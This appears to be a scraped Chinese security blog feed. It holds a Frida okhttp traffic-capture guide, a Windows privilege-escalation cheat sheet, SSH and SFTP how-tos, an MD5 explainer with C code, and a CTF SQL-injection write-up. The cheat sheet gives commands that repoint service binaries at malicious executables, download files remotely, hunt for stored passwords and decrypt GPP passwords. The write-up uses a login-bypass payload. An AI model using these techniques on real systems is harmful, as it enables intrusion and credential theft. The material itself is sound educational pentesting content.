一般网络请求和接收数据的代码都会写在一个类中,我们只要找到一个点来追踪去找到这个类就可以
了。

在大佬的 Github 项目里面找到一个Frida 实现拦截 okhttp 的脚本

它的工作原理就是:

由于所有使用的 okhttp 框架的 App 发出的请求都是通过RealCall.java发出的,那么我们可以 hook 此
类拿到 Request 和 Response, 也可以缓存下来每一个请求的 call 对象,进行再次请求,所以选择了此
处进行 hook。 find 前新增 check,根据特征类寻找是否使用了 okhttp3 库,如果没有特征类,则说明
没有使用 okhttp; 找到特征类,说明使用了 okhttp 的库,并打印出是否被混淆。❗ ❗ ❗

这里我使用了真机进行测试,遇到下面的报错,应该是有检测到我真机的一些环境原因吧,因此我就使
用了夜神模拟器进行下面的操作
mj71vn9c.png

首先将 okhttpfind.dex 拷贝到 /data/local/tmp/ 目录下,并赋予权限

adb push okhttpfind.dex /data/local/tmp/

chmod 777 okhttpfind.dex

mj71vvmo.png

然后启动Frida服务端程序
mj71wfkf.png

接着执行命令启动 hook 脚本

okHttp 的 app 案例
mj71wml4.png
mj71wpux.png

adb push okhttpfind.dex /data/local/tmp/
chmod 777 okhttpfind.dex
frida -U -l okhttp_poker.js -f APP 包名 –no-pause
如果有需要可追加参数 -o [output filepath] 保存到文件

mj71x08w.png

然后复制被混淆后的类名(上图红色框圈住的内容),粘贴到 okhttp_poker.js 文件中(如下图),并
进行保存,Frida 会自动实时识别更新后的脚本内容执行相关操作
mj71xckh.png

然后运行 hold() 命令开启 hook 拦截,然后操作 App 后,会出现拦截的内容如下:
mj71xg9d.png

如果想对 okHTTP 进行深入的研究可以前往这篇大佬的文章进行阅读 [原创] 如何实现 Https 拦截进行 非
常规“抓包”(20.9.13-代码更新)

总结

整理了以上九种不同的抓包方式其实是可以应对目前市面上各大的 APP 抓包场景,当然抓包的方式肯定

不只这九种,比如还有肉丝大佬 r0ysue 的安卓应用层抓包通杀脚本,有兴趣的大佬可以去尝试一下。
其实能多掌握一些抓包的技巧,也许能够在测试的过程中发现更多意想不到的新技术。

参考资料

fiddler 安装教程,算是一次记录吧~
如何使用 Burp suite 抓取 Fiddler 转发的流量包
Android 抓包——HttpCanary
Android10 导入系统证书的方法。
学完这篇 Charles 抓包教程,我直接把 fiddler 卸载了
Charles+Postern 抓包
如何通过 Charles+BurpSuite 的配合在 PC 端抓到手机包
Charles 乱码和 SSL 代理问题解决
走进移动安全(3)-抓包进阶
双向认证 APP 自吐证书密码与抓包
[原创]安卓 APP 抓包之双向认证突破
[Frida 实现的 Android 端 App 抓包小工具okhttp_poker]
]]>
0 http://blog.luckyos.top/index.php/archives/182/#comments http://blog.luckyos.top/index.php/feed/archives/182/
windows简单提权笔记 http://blog.luckyos.top/index.php/archives/179/ http://blog.luckyos.top/index.php/archives/179/ Mon, 15 Dec 2025 18:20:00 +0800 lucky‭‭‭⁧博士⁧‭ mj70it19.png

Windows提权笔记

大纲设计以下主题:

  1. Windows提权命令参考
  2. 本地权限提升
  3. 服务漏洞
  4. Windows注册表
  5. 不安全的文件系统权限
  6. AlwaysInstallElevated
  7. 获得凭证
  8. 利用令牌权限
  9. DLL 劫持
  10. 自动化的工具和框架

Windows提权命令参考

以下是一些必要的Windows命令:

命令描述
systeminfo打印系统信息
whoami获得当前用户名
whoami /priv当前帐户权限
ipconfig网络配置信息
ipconfig /displaydns显示DNS缓存
route print打印出路由表
arp -a打印arp表
hostname主机名
net user列出用户
net user UserName关于用户的信息
net use \\SMBPATH Pa$$wOrd /u:UserName连接SMB
net localgroup列出所有组
net localgroup GROUP关于指定组的信息
net view \\127.0.0.1会话打开到当前计算机
net session开放给其他机器
netsh firewall show config显示防火墙配置
DRIVERQUERY列出安装的驱动
tasklist /svc列出服务任务
net start列出启动的服务
dir /s foo在目录中搜索包含指定字符的项目
dir /s foo == bar同上
sc query列出所有服务
sc qc ServiceName找到指定服务的路径
shutdown /r /t 0立即重启
type file.txt打印出内容
icacls "C:\Example"列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath")利用ps远程下载文件到本地
accesschk.exe -qwsu "Group"修改对象(尝试Everyone, Authenticated Users和/或Users)

这个起点比较友好,下面还有一些可以参考的:

另外还有两个语言供参考:

  • WMIC
  • PowerShell

Exploits

多年来,Windows肯定有很多内核攻击的案例分享,并且不乏各种版本的本地授权exp。事实上,本指南列出的内容很多。

有关Windows漏洞的一些相关列表,请参阅以下资源:

务必检查系统的补丁级别,以确定它是否可利用。正常的测试是检查系统上最新补丁的日期。如果它比漏洞利用程序更旧,则系统可能容易受到攻击。请务必查找该漏洞利用程序的相关修补程序,并查看它是否已安装。还要记住,利用内核漏洞可能会影响系统的稳定性(会把系统打崩)!在测试产品之前要小心。首先探索其他潜在的载体总是好的。


服务配置错误

利用配置错误的服务进行提升权限是常用方法。本节将介绍可以利用的Windows服务的几种方法。

不带引号的服务路径

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引导中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:
C:Program FilesVulnerable ServiceSub Directoryservice.exe

Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引导中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

C:Program.exe
C:Program FilesVulnerable.exe
C:Program FilesVulnerable ServiceSub.exe
C:Program FilesVulnerable ServiceSub Directoryservice.exe

text

为了讲清楚这个漏洞,定义一个名为example.exe的程序,这是一个简单打印出自己名称的正常二进制文件:

#include <stdio.h>

void main(int argc, char *argv[])
{
    printf("[*] Executed %s\n", argv[0]);
}

考虑当从命令行通过其绝对路径执行此程序时会发生什么,在引导内:

C:\>"C:\Example\Sub Directory\example.exe"
[*] Executed C:\Example\Sub Directory\example.exe

C:\>
或:

C:\>C:\Example\Sub Directory\example.exe
'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.

C:>
这意味着如果服务器名不加引号,我们可以放置一个与第一个名称相同的恶意二进制文件作为文件系统对象,并在其名称中包含空格,并且当服务尝试执行其二进制文件时会将它运行。我们所需要的只是对路径中目录的写权限。

考虑通过隐藏example.exe来利用上述示例,C:ExampleSub.exe在没有空格的情况下调用上面的示例,如易受攻击的服务:

C:>C:ExampleSub Directoryexample.exe
[*] Executed C:ExampleSub

C:>
一条命令找到这些错误配置:

bash
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """
不安全的服务权限
即使正确引用了服务器名,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。

AccessChk工具可以用来查找用户可以修改的服务:

C:UsersuserDesktop>accesschk.exe -uwcqv "user" *
Accesschk v6.02 - Reports effective permissions for securable objects Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

RW Vulnerable Service
SERVICE_ALL_ACCESS
也可以使用以下sc qc命令查询服务:

C:UsersuserDesktop>sc qc "Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program Files (x86)Program FolderSubfolderService.exe
LOAD_ORDER_GROUP : UIGroup
TAG : 0
DISPLAY_NAME : Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
最后,可以在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中找到有关服务的信息。另请参阅本指南Windows注册表的部分。

如果可以修改服务的BINPATH,则可以利用它:

C:UsersuserDesktop>sc config "Vulnerable" binpath="C:malicious.exe"
[SC] ChangeServiceConfig SUCCESS
修改后,必须重新启动服务才能执行二进制文件。可以手动重启服务。先停止它:

C:UsersuserDesktop>sc stop "Vulnerable"
SERVICE_NAME: Vulnerable
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
然后启动:

C:UsersuserDesktop>sc start "Vulnerable"
作为低权限用户,这可能会失败:

C:UsersuserDesktop>sc stop "ServiceName"
[SC] OpenService FAILED 5:
Access is denied.
要强制重新启动,可以重新启动系统,或者可以通过社工管理员或管理自己重新启动系统。

该服务还可能在启动时抛出错误消息:

C:UsersuserDesktop>sc start "ServiceName"
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
当Windows执行服务时,它们应与Windows服务控制管理器通信。如果不这样做,SCM就会杀死这个进程。通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。

注册表
以下是通过注册表识别漏洞的一些方法。

注册表由一系列配置单元或配置集合组成。它们按以下方式分解:

HKEY_CLASSES_ROOT - 文件类型的默认应用程序

HKEY_CURRENT_USER - 当前用户的个人资料

HKEY_LOCAL_MACHINE - 系统配置信息

HKEY_USERS - 系统用户配置文件

HKEY_CURRENT_CONFIG - 系统启动硬件配置文件

可以从命令行调用注册表,也可以使用GUI工具Regedit进行交互。

SUBINACL工具有助于检查注册表项,但它必须被部署为一个.msi。如果系统AlwaysInstallElevated没有配置错误,则低权限用户无法使用更高权限安装.msi。(有关AlwaysInstallElevated的详细信息,请参阅后面的部分。)

例如,要使用SubInACL查询易受攻击的服务:

C:UsersuserDesktop>subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesService" /display
...
在上面的例子中,everyone给出了full control。
也可以使用AccessChk工具查询注册表。
一旦发现有漏洞的配置,就可以将木马放入服务的ImagePath中。

C:UsersuserDesktop>reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesService" /t REG_EXPAND_SZ /v ImagePath /d "C:UsersuserDesktopmalicious.exe" /f
The operation completed successfully.
与上面情况一样,必须重新启动服务才能运行木马。
即使系统上的所有服务都是封闭的,注册表也可能会出现其他漏洞。可能会保存凭据或其他信息,或者可以调整配置。此外,reg命令还可用于本地保存注册表配置单元,以便使用RegRipper等工具进行散列破解,SAM文件提取和静态分析。

不安全的文件系统权限
管理员通常为某些路径配置自由权限,以避免潜在的访问错误。这可以提供一种简单的利用途径,因此考虑与服务和服务二进制文件关联的文件系统权限是关键。

在配置错误的Windows服务的情况下,可能存在服务可执行文件的路径被完全引用并且服务权限被限制但实际二进制文件本身就不安全。

例如:

C:Program Files (x86)Program Folder>icacls "C:Program Files (x86)ProgramService Folder"
C:Program Files (x86)ProgramService Folder Everyone:(0I)(CI)(F)
...
在上面的例子中,Everyone具有路径的完全控制权限(F)。

还可以使用AccessChk工具调查文件系统权限。
默认情况下,所有经过身份验证的用户都可以写入安装在根C:目录中的软件目录。例如,Ruby、Perl和Python等脚本语言或Landesk或Marimba等远程管理工具的目录。系统安装后创建的目录通常也是可写的。C:root中的可写目录可能位于应用程序的路径中,这意味着二进制文件或.dll之类的项也可以注入其路径中。

AlwaysInstallElevated
AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表来识别此设置:

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
例如,通过使用reg query命令:

C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
或:

C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
如果存在漏洞,上面将输出以下内容:

HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller

AlwaysInstallElevated    REG_DWORD    0x1

如果系统没这个漏洞,它将输出错误:

ERROR: The system was unable to find the specified registry key or value.
如果系统配置了AlwaysInstallElevated,则可以利用它来提升权限。

可以使用msfvenom创建恶意.msi文件。选择所需的payload并设置使用-f msi将输出格式设置为MSI。
然后可以使用msiexec在易受攻击的系统上执行攻击代码。

组策略首选项漏洞
组策略首选项(GPP)与附加到域的计算机的基于Server 2008策略的配置一起发布。

客户端计算机定期使用当前登录用户的帐户凭据进行域控制,以进行身份验证,然后生成配置策略。可用于软件部署、配置启动脚本、映射网络共享、配置注册表配置单元、配置打印机、管理安全权限等。还可以为本地管理员帐户配置密码。

这些策略文件存储在域控制器的SYSVOLL共享中的一系列.xml文件中。

路径通常是这样的:

\REMOTE_HOSTSYSVOLLREMOTE_HOSTPolicies{POLICY_ID}MachinePreferences\
可能存在以下配置文件:

ServicesServices.xml
ScheduledTasksScheduledTasks.xml
PrintersPrinters.xml
DrivesDrives.xml
DataSourcesDataSources.xml
这些配置文件可能包含名为“cpassword”的配置选项,用于配置帐户的密码。这些密码使用32字节AES密钥加密:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
此漏洞已通过MS14-025解决,但此修补程序仅阻止创建新策略,并且包含凭据的任何旧版GPP仍然容易受到攻击。
破解密码可以使用该配置访问计算机的本地管理员帐户,这可以通过Kali中的gpp-decrypt命令完成:

root@kali:~# gpp-decrypt j1Uyj3Vx8TY9LtlZi12uAuZkFQA/41atT76Zwgdhdhw
Local*P4ssword!

凭证窃取(读书人怎么能叫窃呢)
在主机上可以找到一些密码:

text
unattend.xml
GPP.xml
SYSPREP.INF
sysprep.xml
其他各种配置文件
日志文件
注册表项
文件如my_passwords.txt, my_passwords.xls等
还可以搜索文件系统以查找常见的敏感文件。

ps:个人意见,提权就是看你信息收集的全面不全面

C:UsersuserDesktop> dir C:*vnc.ini /s /b /c
或者在名称中包含关键词的项目:

C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*
或者可以在文件内容中搜索password之类的关键字:

C:UsersuserDesktop>findstr /si password *.txt | *.xml | *.ini
可以查询注册表,例如,字符串password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
系统管理员可能有包含凭据的配置文件。unattend.xml文件用于自动化软件部署,并包含纯文本(base64编码)凭据。此外,已知一些用户将其密码保存在纯文本文件中是为了方便而忽视了安全性。

令牌权限
可以在以下系统中滥用这些令牌:

Microsoft Windows XP Professional SP3和之前版本
Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)
Windows Server 2008
Windows Server 2008 x64
Windows Server 2008 (用于基于Itanium的系统)
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本
帐户有许多可利用的令牌权限:

SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
要查看与当前帐户使用关联的权限 whoami /priv。
这些权限可能与帐户相关联,从根本上意味着用户能够进行导致操作系统以可利用的方式运行payload的操作。

如果他们的帐户具有必要的权限,则攻击者可以调用Microsoft分布式事务处理协调器(MSDTC)服务来执行某些操作。

它在进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许这些令牌不仅用于进程本身,而且还用于原始请求进程时,漏洞就会出现。
有些帐户更有可能拥有这些帐户,并且有很多方法可以利用这些帐户。例如:

获取对用于系统备份的服务帐户的访问权限,并强制与运行responder.py的SMB共享进行NTLM通信

利用Web服务并获得可以执行SQL查询和帐户的帐户的访问权限 XP_CMDSHELL Kerberoast攻击,或从域控制器获取Kerberos票证并将其脱机

在以完全信任模式配置TIS的系统上执行ASP.NET代码

能够为ISAPI过滤器或扩展提供代码

发现其他服务帐户凭据泄漏

利用令牌权限是许多权限升级漏洞利用的技术,例如Metasploit中的许多工具,以及DirtyPotato等。这是一个值得开发的领域,值得进一步研究。有关这方面的更多信息,请参见此处。

DLL劫持
动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。

当进程调用DLL时,它按以下顺序查找它:

加载应用程序的目录(例如,相对路径引用的DLL)

32位系统目录(C:WindowsSystem32)

16位系统目录(C:WindowsSystem)

Windows目录(C:Windows)

当前工作目录(CMD)

PATH环境变量中的目录(系统路径,然后是用户路径)

它执行它找到的.dll的第一个实例。

首先,有几种方法可以识别这个漏洞的流程。
该进程监视工具可以用来查看整个的过程,以及搜索和过滤他们的活动,对脆弱的DLL进行调用。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesServiceNameParameters
可以查询注册表项以查看服务运行的服务DLL,或者可以将二进制文件加载到IDA中并搜索loadlibrary库调用。另外一定要检查DLL本身的DLL调用!

一旦找到易受攻击的DLL调用,就必须检查该DLL的文件系统:

C:> dir vulnerable.dll /s
还要注意,不要因为它找不到就认为它不存在。它可能只是在当前用户帐户无法查看的目录中。
最后,要执行DLL highjack,需要在目录层次结构中的某个位置,原始.dll本身,CWD或PATH中的目录中编写安全测试的.dll。

PATH是一个环境变量,它定义命令解释器在发出命令时应查找可执行文件的位置。修改PATH,并将.dll写入PATH中的目录,允许进行DLL劫持,进程在PATH中搜索.dll文件。

要修改PATH,例如:

C:UsersuserDesktop>set PATH=%PATH%;C:Python27
这将允许通过C:Python27目录中的路径加载可执行文件和DLL,默认情况下,任何经过身份验证的用户都可以写入该目录。

一些已知具有DLL劫持漏洞的Windows服务是:

IKE和AuthIP IPsec密钥模块(IKEEXT):wlbstr1.dll
Windows Media Center接收器服务(ehRecvr):ehETW.dll
Windows Media Center计划程序服务(ehSched):ehETW.dll
自动更新(wuauserv):ifsproxy.dll
远程桌面帮助会话管理器(RDSession):SalemHook.dll
远程访问连接管理器(RasMan):ipbootp.dll
Windows Management Instrumentation (winmgmt):wbemcore.dll
音频服务(STacSV):SFFXComm.dll SFCOM.DLL
英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dll
Juniper统一网络服务(JuniperAccessService):dsLogService.dll
Encase Enterprise Agent:SDDisk.dll
可以在此处找到已知具有dll劫持漏洞的其他服务。

工具和框架
幸运的是,有许多工具和框架可以使提权变得更容易:

  • Metasploit
  • Sherlock
  • windows-privesc-check
  • Windows-Exploit-Suggester
  • PowerUp, now part of PowerSploit
  • Nishang

其中许多工具可以通过自动识别可利用的错误配置或通过检查系统补丁级别与常见的已知漏洞来帮助您。但它们不是100%有效,所以要注意误报/漏报!

ps:上面的工具老司机应该都很熟练了

最后的想法
感谢您的阅读,我希望您发现本指南很有用。(我希望你已经获得了那个SYSTEM shell!)

我将在接下来的几个月内发表一些有趣的研究,但我恐怕此时不能再详细介绍,敬请期待!;)

参考

ps: 下面是一些不错的可以学习利用的网站和博客

Windows权限升级基础
https://www.fuzzysecurity.com/tutorials/16.html

Windows权限升级第1部分:本地管理员权限
https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/

Pentesters的Windows权限提升方法
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

“嗯,快速升级”常见的Windows权限升级向量
https://toshellandback.com/2015/11/24/ms-priv-esc/

自动执行Windows权限提升
http://resources.infosecinstitute.com/automating-windows-privilege-escalation/

Windows 8上的Extreme Privilege Escalation
https://www.blackhat.com/docs/us-14/materials/us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf

滥用令牌权限进行Windows本地权限提升
https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

Microsoft Windows令牌绑定权限提升漏洞
https://tools.cisco.com/security/center/viewAlert.x?alertId=15702

您对GPP了解多少?
https://www.toshellandback.com/2015/08/30/gpp/

Windows操作系统中的Privilege升级
http://www.cs.toronto.edu/~arnold/427/155/csc427/indexth/privilege-escalation/privilege-escalation-windows.pdf

滥用EOP的令牌权限
https://github.com/hatRiot/token-private

利用弱文件夹权限提升权限
http://www.greyhathacker.net/?p=738

Metasploit Unleashed: 特权升级
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

位操作: 将系统令牌作为普通用户窃取
https://zerosum0x0.blogspot.nl/2016/02/bits-manipulation-stealing-system.html

不带引号的服务路径
https://www.commonexploits.com/unquoted-service-paths/

Windows中的权限提升
https://codemuch.tech/2017/05/14/priv-esc-win.html

SysInternals AccessChk工具
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

AccessChk.exe使用指南
https://blogs.technet.microsoft.com/seeguide/2008/07/21/how-to-use-accesschk-exe-for-security-compliance-management/

SubInACL.exe下载
https://www.microsoft.com/en-us/download/details.aspx?id=23510

当我输入getsystem时会发生什么
https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-get-system/

动态链接库搜索顺序
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

进程监视器下载
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

动态链接库安全性
https://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspx

Windows文件和文件夹权限指南
https://msdn.microsoft.com/en-us/library/bb727008.aspx

SECWIKI
https://github.com/SecWiki

Access Tokens
https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx

访问令牌的工作原理
https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspx

Windows RE6参考
https://ss64.com/nt/reg.html

Windows CMD参考
https://ss64.com/nt/

如何使用Regedit
https://www.techsupportalert.com/content/learn-how-use-windows-registry-editor-regedit-one-easy-lesson.htm

调用-WCMDump
https://securityonline.info/invoke-wcmdump-dump-windows-credentials-from-the-credential-manager/

WMIC命令参考
https://www.computerhope.com/wmic.htm

PowerShell参考
https://ss64.com/ps/

penetration-testing-ninjitsu-with-ed
http://carnal0wnage.blogspot.com/2008/02/penetration-testing-ninjitsu-with-ed.html

DLL劫持易受攻击的应用程序
https://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Windows/Linux本地特权升级研讨会
https://github.com/sagishahar/lpeworkshop

如何使用组策略劫持攻击拥有任何Windows网络
https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/

真实世界中的Pentesting:组策略Pwnage
https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/

Windows内核漏洞利用
https://pentestlab.blog/2017/04/24/windows-kernel-exploits/

]]>
1 http://blog.luckyos.top/index.php/archives/179/#comments http://blog.luckyos.top/index.php/feed/archives/179/
ssh服务配置 http://blog.luckyos.top/index.php/archives/174/ http://blog.luckyos.top/index.php/archives/174/ Sat, 26 Oct 2024 22:48:00 +0800 lucky‭‭‭⁧博士⁧‭ {mtitle title="ssh服务"/}

centos开启ssh服务

安装 openssh-server

yum install openssh-server

这些操作debian也可以把yum替换成apt就行

修改sshd服务配置文件 sshd_config

vi /etc/ssh/sshd_config

Port 22前面的 #号 去除
这个改成yes,前面的#去掉,就是允许root登录

PermitRootLogin yes

号 去除开启允许远程登录

号 去除使用用户名密码来作为连接验证

保存文件,退出

开启 sshd 服务

service sshd start
使SSH服务开机自启:
sudo systemctl enable ssh

]]>
0 http://blog.luckyos.top/index.php/archives/174/#comments http://blog.luckyos.top/index.php/feed/archives/174/
哈希函数-MD5算法 http://blog.luckyos.top/index.php/archives/172/ http://blog.luckyos.top/index.php/archives/172/ Sat, 26 Oct 2024 22:36:00 +0800 lucky‭‭‭⁧博士⁧‭ {mtitle title="哈希函数-MD5算法"/}

mj700ntd.png

什么是哈希函数?

 百度百科给出的定义是:Hash,一般翻译做"散列",也有直接音译为"哈希"的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。
 散列函数(英语:Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做散列值(hash values,hash codes,hash sums,或hashes)的指纹。散列值通常用一个短的随机字母和数字组成的字符串来代表。

什么是md5?

 md5是一种信息摘要算法,一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值,用来确保信息传输完整一致性。

数据填充与分组

对消息进行数据填充,使消息的长度对512取模得448,设消息长度为X,即满足X mod 512=448。根据此公式得出需要填充的数据长度。

填充方法:在消息后面进行填充,填充第一位为1,其余为0。

初始化散列值

用64位来存储填充前信息长度。这64位加在第一步结果的后面,这样信息长度就变为N512+448+64=(N+1)512位。

记录信息长度

标准的幻数(物理顺序)是(A=(01234567)16,B=(89ABCDEF)16。C=(FEDCBA98)16,D=(76543210)16)。假设在程序中定义应该是(A=0X67452301L,B=0XEFCDAB89L。C=0X98BADCFEL,D=0X10325476L)。有点晕哈。事实上想一想就明确了。

四轮循环运算

循环的次数是分组的个数(N+1)

1)将每一512字节细分成16个小组,每一个小组64位(8个字节)
2)先认识四个线性函数(&是与,|是或,~是非,是异或)
F(X,Y,Z)=(X&Y)|((~X)&Z)
G(X,Y,Z)=(X&Z)|(Y&(~Z))
H(X,Y,Z)=XYZ
I(X,Y,Z)=Y(X|(~Z))

3)设Mj表示消息的第j个子分组(从0到15)。<<<s表示循环左移s位,则四种操作为:
FF(a,b,c,d,Mj,s,ti)表示a=b+((a+F(b,c,d)+Mj+ti)<<<s)
GG(a,b,c,d,Mj,s,ti)表示a=b+((a+G(b,c,d)+Mj+ti)<<<s)
HH(a,b,c,d,Mj,s,ti)表示a=b+((a+H(b,c,d)+Mj+ti)<<<s)
II(a,b,c,d,Mj,s,ti)表示a=b+((a+I(b,c,d)+Mj+ti)<<<s)
#include 
#include 
#include "md5.h"
#include 
#include 
#include 
#include 

#define FORWORD_FW "123.c"

int calc_md5(char*filename,char*dest)
{
 int i;
 int filelen = 0;
 int read_len;
 char temp[8]={0}; 
 char hexbuf[128]={0};
 unsigned char decrypt[16]={0};  
 unsigned char decrypt32[64]={0};
 MD5_CTX md5;
 char fw_path[128];

 int fdf;
 
 fdf = open(filename,O_RDWR);
 if(fdf<0)
 {
  printf("%s not exist\n",FORWORD_FW);
  return -1;
 }
 
 MD5Init(&md5);  
 while(1)
 {
  read_len = read(fdf, hexbuf,sizeof(hexbuf)); 
  if (read_len <0) {  
   close(fdf);   
   return -1;
  }
  if(read_len==0)
  {
   break;
  }
  filelen += read_len;
  MD5Update(&md5,(unsigned char *)hexbuf,read_len); 
 }

 
 MD5Final(&md5,decrypt); 
 strcpy((char *)decrypt32,"");
 
 for(i=0;i<16;i++)
 {
  sprintf(temp,"%02x",decrypt[i]);
  strcat((char *)decrypt32,temp);
 }
 strcpy(dest,decrypt32);

 printf("md5:%s len=%d\n",dest,filelen);
 close(fdf);

 return filelen;
}
int main(int argc, char *argv[])
{
 int ret;
 int filelen;
 char md5_str[64]={0};
 char cmd[256]={0};
 
 filelen = calc_md5(FORWORD_FW,md5_str);
 if(filelen<0)
 {
  printf("calc_md5 fail\n");
  return -1;
 }

 return 0;
}
]]>
0 http://blog.luckyos.top/index.php/archives/172/#comments http://blog.luckyos.top/index.php/feed/archives/172/
不使用工具,把电脑文件上传服务器 http://blog.luckyos.top/index.php/archives/169/ http://blog.luckyos.top/index.php/archives/169/ Sat, 26 Oct 2024 22:23:00 +0800 lucky‭‭‭⁧博士⁧‭ {mtitle title="SFTP"/}

如何无需任何软件通过命令行向linux服务器传输文件
使用SFTP(SSH File Transfer Protocol)可以通过安全的SSH连接在本地和远程主机之间传输文件。以下是如何使用SFTP的基本步骤:
m2q99eem.png

兼容性强

支持所有终端 windows. macos 安卓 linux全都支持无需额外安装第三方软件

1. 连接到远程服务器

打开终端并输入以下命令以连接到远程服务器:

sftp 用户名@服务器IP

例如:sftp root@192.168.110.111
put 文件名 上传文件到服务器
get 文件名 下载文件到本地。

2. 常用SFTP命令

#查看远程目录内容:

ls
#查看本地目录内容:

lls
#切换远程目录:

cd remote_directory
#切换本地目录:

lcd local_directory
#上传文件到远程服务器:

put local_file
#下载文件到本地:

get remote_file
#上传整个目录到远程服务器:

put -r local_directory
#下载整个目录到本地:

get -r remote_directory
#退出SFTP会话:

bye
或

exit


3. 示例

假设您要将本地文件example.txt上传到远程服务器的/home/username/目录:

sftp username@remote_host
sftp> put example.txt /home/username/
sftp> bye
注意事项
确保您有远程服务器的访问权限,并且SSH服务正在运行。

]]>
0 http://blog.luckyos.top/index.php/archives/169/#comments http://blog.luckyos.top/index.php/feed/archives/169/
记一次ctf练习 http://blog.luckyos.top/index.php/archives/116/ http://blog.luckyos.top/index.php/archives/116/ Fri, 25 Oct 2024 22:25:00 +0800 lucky‭‭‭⁧博士⁧‭ 第一题 [极客大挑战 2019]EasySQL

m2otucix.png

先输入1试试

返回参数username=1&password=1

输入username=1&password=1 order by 1,2,3,4,5,6

试探类型,试探了但是好像报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

可以尝试一下sql万能密码,用户名输入1,密码使用万能密码' or '1'='1

https://blog.csdn.net/u012206617/article/details/125770267

m2otuvs2.png

然后点击提交,发现显示flag

另一种方法

使用sqlmap直接跑(这里没有成功)

python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" -dbs
#使用sqlmap直接一把梭,没有出来,加参数
